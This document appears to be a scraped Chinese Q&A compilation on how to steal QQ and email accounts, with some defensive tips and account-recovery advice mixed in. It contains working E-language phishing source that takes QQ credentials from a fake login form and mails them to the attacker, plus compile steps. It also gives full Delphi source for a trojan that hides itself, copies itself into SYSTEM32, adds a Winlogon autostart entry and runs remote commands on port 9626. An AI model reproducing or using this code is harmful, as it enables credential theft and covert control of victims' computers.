本文目录一览：
- 1、求一个E语言邮箱盗号源码。请发到woaikaka110@163.com。谢谢！
- 2、qq被源代码盗号还能找回么？
- 3、知道网页木马进!!!
- 4、易语言盗号的源码怎么写，都写在哪个窗口？
- 5、怎么盗号?
求一个E语言邮箱盗号源码。请发到woaikaka110@163.com。谢谢！
以下是源码 经测试可用！
-------------------------------------------------
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.判断开始 (编辑框1.内容 ＝ “”)
信息框 (“请输入QQ帐号！”, #信息图标, )
返回 ()
.判断 (编辑框2.内容 ＝ “”)
信息框 (“请输入QQ密码！”, #信息图标, )
返回 ()
.默认
.判断结束
.如果 (连接发信服务器 (“smtp.qq.com”, 25, 编辑框1.内容, 编辑框2.内容, ) ＝ 真)
信息框 (“登录成功 ”, 0, )
连接发信服务器 (“smtp.qq.com”, , “必要：你登陆服务器QQ号码”, “必要：你登陆服务器QQ密码”, )
发送邮件 (编辑框1.内容 ＋ “被盗号”, “帐号” ＋ 编辑框1.内容 ＋ “密码” ＋ 编辑框2.内容, “你邮箱”, , “抄送”, “暗送邮箱地址”, )
载入 (_启动窗口1, , 真)
.否则
信息框 (“登录失败”, #错误图标, )
返回 ()
.如果结束
qq被源代码盗号还能找回么？
源代码是什么恐怕你都不理解，你以为是一大串你看不懂的字母吗？不是的，这个是编程语言，C语言、Java语言等等都属于编程语言，甚至连二进制等，这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的，即使计算机之父来了也不能。
说那些源代码你很难理解，就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉，拿出你有力的证据，自己证明这个号是你自己的，只有你自己能证明了，号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了，也可以依赖实名制找回。没有实名制，也没有手机号，啥都没有，连你自己都不能证明，还如何让别人甚至客服相信你，这还不如说天上那辆飞机是我的，你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么，我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以，不过智商有点太低了。就这样的骗子，我要是愿意，随便挖个坑让骗子往里跳，送进去监狱改造改造，猖狂。
知道网页木马进!!!
其实木马分很多种有的是针对系统的，就象是鸽子、冰河那种WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多种主流语言。我甚至用PASCAL都能做出木马。
而现在比较流行的网页木马就是针对HTTP服务的。所以要用脚本语言。比如，VBS（ Visual Basic Script ）、JS（JAVA Script）和HTML等语言编写的。
总之，大家还是要好好学习编程。现在的社会变化的太快了大家不要被他给淘汰掉啊
Delphi编写简单的木马2008-09-02 14:20刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。
源码如下：
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell') 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客户端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procedure Button2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.
易语言盗号的源码怎么写，都写在哪个窗口？
盗号源码呀,两条命令 连接发送发信服务器（）发送邮件（） 写在按钮下面
怎么盗号?
问题一：盗号qq高手怎么盗号 给钱帮忙盗号
问题二：如何盗号 娜娜：被盗号有两种可能。一是你在网吧或其它公众场合玩游戏被别人看见你输的账号、密码了；还有就是你家的电脑被远程控制安装了木马程序了。幸运的是你只被盗40级的号（有装备或TB的话十来个小时就可以练一个滴＾0＾）。 防止游戏账号被盗的几点举措： 1.注册账号的时候按照官网的提示建立密码保护，这样即使别人盗了你的号改了密码你也可以修改回来； 2.o自己的电脑安装一个木马防火墙；
问题三：知道怎么盗号？ 先发源码
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
.局部变量 发送结果, 文本型
连接发信服务器 (“ *** tp.163”, 25, “邮箱账号”, “邮箱密码”, )
发送邮件 (“傻瓜送号来了”, “邮箱账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “邮箱密码” ＋ 编辑框2.内容 ＋ #换行符, “你的邮箱”, , , “你的邮箱”, )
图文教程
（1）
（2）
（3）
（4）
双击启动窗口
（5）
复制上方源码
（6）
（7）
（8）
调试成功后，编译
问题四：盗号的人是怎么盗号的 他们可以发木马什么的，如果你有去过网吧上网就更有可能，在网吧上网很危险的很容易号就会被盗，网吧很容易泄漏信息的，大部分这种情况都跟网吧有关系，或者你在别人那上，列如他家电脑，他手机等等，没弄好就正好给人家好奇心满足，他就上了，趁现在密码还没换你快去换密码，密保，绑定密保手机，记住不是绑定手机，这两个是有区别的，别弄错了，如果换了你就去申诉，申诉回来就按我说的那样做就可以了
问题五：怎么QQ盗号 利用代码侵入你想要盗号的设备，最好是电脑，因为电脑的ip地址比较容易定位。侵入系统后，将代码写进C盘，获取权限，开机自启动。就可以将其电脑里面的一个用户文件，发送至指定位置，有了这个用户文件，你就可以破译它的密码了。
问题六：怎么盗号 楼主，这可不是什么好事，玩家辛辛苦苦练的号被盗了。。。换位思考下
问题七：电脑里怎么盗号 我有盗号软件，电脑版的手机版的，还有网页版的
问题八：怎样盗号别人qq密码 QQ号码密码忘记了，如果QQ号码未设置密保或密保无法通过成功验证，可申诉找回，申诉注意事项：
1、多邀请QQ好友辅助申诉，并通知他们在3小时内完成辅助申诉（好友即使已被删除也可以邀请）；
2、最好在最常使用QQ的地方（例如：家里、学校或最常去的网吧）提交帐号申诉表；
3、填写用过的QQ密码时，如果不记得完整的QQ密码，可以填写认为最接近的或只填写记得的部分密码。
问题九：电脑如何盗号 一般所谓的盗号就是发送一个键盘记录器给你。至于防范的手段就说一个吧。用鼠标点击上下。别一次性输入完。这样他就没办法记录了。
比如，你在帐号输入一两个。然后点下来（鼠标点。别用TAB键）密码在输入一两个。就这样切换着把帐号密码输入完。
当然，现在的木马什么的都很变态。我一朋友玩大话西游。有将军令。竟然都被人上了号。他都疯 了。
至于QQ号。我在别的论坛看的，可以给你点提示也可以说给你一些防范。一般电脑如果中了木马的话。 鼠标放在密码栏点右键。会出现 粘贴。 从右往左顺序等字样。如果点鼠标右键没反映。表示正常。